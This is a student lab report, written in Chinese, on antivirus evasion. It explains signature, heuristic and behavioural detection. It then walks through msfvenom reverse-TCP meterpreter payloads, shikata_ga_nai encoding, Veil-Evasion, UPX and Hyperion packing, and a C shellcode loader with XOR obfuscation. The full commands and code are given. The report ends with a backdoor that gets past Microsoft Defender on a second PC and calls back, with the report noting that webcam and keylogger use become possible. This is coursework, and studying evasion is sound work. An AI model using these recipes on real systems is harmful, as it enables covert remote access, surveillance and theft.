20192408胡益琳 实验三免杀原理与实践 实验报告
实验三 免杀原理与实践
1.实践内容
(1)正确使用多种工具实现免杀
- 正确使用msf编码器,使用msfvenom生成php、jar文件
- 使用veil-evasion生成免杀后门,利用加壳方式实现免杀
- 利用C+shellcode编程实现免杀
(2)通过组合以上各种技术实现免杀
(3)用另一电脑验证在杀软开启的情况下可以运行并回连成功
2.实验要求
1.杀软是如何检测出恶意代码的?
(1)基于特征码检测:恶意代码中会包含一段或多段具有明显特征的数据即特征码,杀毒软件通过对特征码的检测判断是否是恶意代码。杀毒软件需要及时更新,以具备最全、最新的特征码库。
(2)启发式恶意软件检测:如果一个软件做的事是恶意软件会做的,或者这个软件本身的外观特征与恶意软件相似,则被认为是恶意软件。即根据一个软件的片面特征去推断其是否为恶意软件。
(3)基于行为的恶意软件检测:根据软件所做的行为判断其是否为恶意软件。相当于是启发式的一种,或者是加入了行为监控的启发式。
2.免杀是做什么?
一般是对恶意软件做处理,如加壳、重新编译等,使恶意软件不被杀毒软件所检测。要做好免杀,首先要了解杀毒软件的工作原理。
3.免杀的基本方法有哪些?
(1)改变特征码
- 在只有exe的情况下,加壳(压缩壳、加密壳)
- 有shellcode情况下,可以用encode进行编码或者基于payload重新编译生成可执行文件
- 在有源代码的情况下,可以用其他语言进行重写再编译(veil-evasion)
(2)改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
3.实验过程
3.1.1正确使用msf编码器
检测网站Virus Total与VirSCAN。可以通过在网站上传文件进行检测能够显示上传软件是否会被最新版本的杀软查杀。
首先使用如下命令生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2408 -f exe > met-encoded.exe
其中-p参数用于选择一个payload,这里我们选择的是windows的反弹连接,与实验二相同;-e参数用来选择编码方式,-b参数用来删去‘\x00’;-f后加exe格式,表示生成exe文件。
将生成的文件上传到网站上,显示结果如下
继续使用如下命令,编码十次生成新的后门文件。-i后面的数字表示编码的次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2408 -f exe > met-encoded10.exe
将编码十次生成的文件上传到网站上进行检测,可以看到没有什么明显变化,说明多次编码对于免杀效果影响不大。原因是由于msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。AV厂家会根据模板生成特征码。
使用msfvenom生成如jar之类的其他文件
- 生成java后门程序
命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 x> hyl_backdoor_java.jar
可以看到检测率有所降低。
- 生成php后门程序
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 x> 2408_backdoor.php
可以看到检测率进一步降低,后续可以考虑通过这种方法实现组合免杀。
3.1.2 使用veil-evasion生成后门文件
- 用sudo apt-get install veil-evasion命令安装Veil
- 安装过程中也遇到了一些问题,第一次安装时跳出python安装界面时电脑卡住了,由于电脑没反应所以将下载界面关闭了,导致下载完成的veil使用时报错。于是按照错误提示重新安装,安装过程中只需要耐心等待,在需要输入y进行确认时输入即可,弹出的安装窗口也不需其他多余操作。
- 最终安装完成输入veil成功运行如下
- 输入use evasion进入Veil-Evasion:
- 输入use c/meterpreter/rev_tcp.py进入配置界面:
- 设置反弹连接IP与端口,输入generate生成后门程序文件,随后输入其名字:veil_c_2408,生成相应文件
放到网站上进行检测
可以看到比实验二的免杀效果稍微好一些,但不如生成php文件等方法。依旧会被查杀。
3.1.3 使用加壳工具
1. 压缩壳UPX
使用命令upx 20192408_backdoor.exe -o 2408_upxed.exe将实验二生成的后门文件进行加壳操作
生成文件
检测结果免杀效果并没有很理想。原因是压缩壳特征也早被标识成了病毒特征。
2. 加密壳
一开始并未寻找到生成加密壳所需要的软件hyperion.exe,参考了网上的教程发现很多可供下载的压缩包都过期了,最后用了这篇博客的方法成功解决。
- 通过命令sudo apt-get install hyperion下载安装工具
- 在默认安装路径/usr/share/windows-resources/hyperion/下成功找到hyperion.exe文件
- 实现用加密壳加密,执行命令时命令行所在的路径需要和hyperion.exe所在的命令保持一致,同时被加密的文件也需要在同一路径下。因此使用cp 20192408.exe /usr/share/windows-resources/hyperion,将后门文件复制到Hyperion所在的目录下
- 输入指令cd /usr/share/windows-resources/hyperion/,进入Hyperion所在的目录。
- 执行下列命令,为原后门文件20192408.exe加上加密壳
wine hyperion.exe -v 20192408.exe hyp_shellcode_2408.exe
在/usr/share/windows-resources/hyperion/下可以找到生成的文件
检测结果如下,免杀效果也不是很好
3.1.4 使用C + shellcode编程
输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -f c,得到一段shellcode代码如下
用touch 20192408.c指令创建一个新文件并用vim打开并编辑
将刚刚生成的那段shellcode代码copy进来,并加上如下代码
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用i686-w64-mingw32-g++ 20192408.c -o 20192408.exe命令转化为可执行文件
放到网站上检测如下
可以看到有一定的免杀效果。
3.2 通过组合应用各种技术实现恶意代码免杀
本实验我选择通过C+shellcode+逆序+压缩壳实现免杀,即在上一部分的基础上加上逆序和压缩壳。
首先与上一步相同,使用如下指令生成一段C语言格式的shellcode代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -f c
将生成的shellcode加上如下代码段一起复制到Windows系统下的VScode中,保存、编译并运行,生成另一段shellcode(此处进行的是逆序变换,使生成的文件中shellcode逆序存在,更不容易被杀软发现)
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
printf("\\x%x",buf[i]);
}
}
回到Kali内,用touch与vim指令创建并编辑一个新文件,将刚刚在Windows下运行生成的那段代码粘贴到新文件内,并加上另一段如下所示代码段。编辑完毕后保存并退出。
unsigned char buf[] =
"刚才复制的代码";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
}
int (*func)() = (int(*)())buf;
func();
}
同样地,使用i686-w64-mingw32-g++ 20192408.c -o shellcode_2408.1.exe将文件编译生成可执行文件。
接下来对生成的shellcode_2408.1.exe进行加壳操作,使用如下命令
upx shellcode_2408.1.exe -o ke-shellcode-20192408.exe
将加壳后生成的文件ke-shellcode-20192408.exe用360杀毒进行查杀,显示未发现安全威胁,将可执行文件上传至网站进行检测,也可以看到检测率大大降低,可以躲过大部分杀软。
3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在这一部分一开始遇到了很多问题,生成的后门可以躲过对方的杀软但是总是回连失败。但在自己的主机上可以回连成功。通过上网查询先是将Kali的网络连接改成桥接模式,在改的过程中又出现了ip地址突然查询不到等错误。最后通过CCleaner清理了注册表,修改了一些虚拟机的网络配置文件才成功改为桥接模式,使得主机与虚拟机之间能ping通。
这一部分实验首先要两台主机在同一局域网下并且能够相互ping通。使用的免杀方式是在靶机内使用shellcode加载器运行攻击者生成的shellcode。
- 在Kali内使用用msfvenom生成raw格式的shellcode,用到的是shikata_ga_na编码模块
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=192.168.190.128 LPORT=2408 -f raw -o 20192408.2.raw
生成文件如下
- 在Kali开启监听
- 对方主机内需提前下载shell_launcher-master,并将攻击方生成的20192408.2.raw放在同一目录下,在此目录下运行如下命令
shellcode_launcher.exe -i 20192408.2.raw
回连成功,接下去在Kali内就可以输入各种命令,例如ls、pwd等基础命令,也可以试试实验二中meterpreter的开启摄像头、获取击键记录等功能。
对方的杀软显示无威胁。
被攻击电脑用的是微软自带的杀软Microsoft Defender。版本如下图
4.问题及解决方案
- 问题1:第一步使用msf编码器实验时报如下错误
- 问题1解决方案:报错提示与编码问题有关,仔细检查后发现是'\x00'的单引号用了中文字符导致出错。将单引号改正后运行成功。
- 问题2:未找到生成加密壳所需要的软件hyperion.exe
- 问题2解决方案:通过命令sudo apt-get install hyperion下载安装工具,在默认安装路径/usr/share/windows-resources/hyperion/下成功找到hyperion.exe文件。
- 问题3:在安装veil-evasion时由于电脑卡在安装python界面,故关闭了安装界面导致后续运行veil-evasion出错。
- 问题3解决方案:按照运行出错的提示重新安装veil-evasion,这一次卡在python界面时不操作电脑,等待他自动安装结束。veil-evasion的安装需要安装很多其他软件,只有命令行需要输入y时进行输入,其余弹窗都无需选择或是关闭,他将自动进行下载安装,安装过程只需等待即可。
- 问题4:用另一电脑进行测试时无法回连
- 问题4解决方案:先将Kali的网络适配器改为桥接模式,与另一电脑须在同一局域网内且虚拟机与对方主机能相互ping通的前提下再进行回连。
5.学习感悟与思考
这次实验看似不难,只是验证性的实验,照着做即可。但是在做的过程中还是遇到了很多问题,尤其是最后的回连,在改成桥接模式之后还出现了ip地址消失的情况,通过网上的教程修改了虚拟机的网络配置文件才得以解决。好不容易桥接模式改成功了,shell_launcher-master又被查杀了……由于最后一步实验是在大晚上做的,一度做到半夜两点,一环扣一环的报错使得心态有点失衡。好在第二天终于还是成功了。这次实验极大地考验了我的耐心和面对挫折的心态,希望以后在遇到问题时能更加沉着冷静。
还有一点是对于安全的担心,在非官网下载的文件很有可能存在后门,但是由于各种原因,很多时候我们在下软件时确实可能会用到别人的网盘资源或者是非官网链接……我们的电脑有极大的安全风险。在以后下载文件时还是要尽可能从官网下载,下载文件之前要对文件进行严格的查杀,还要及时更新杀毒软件病毒库。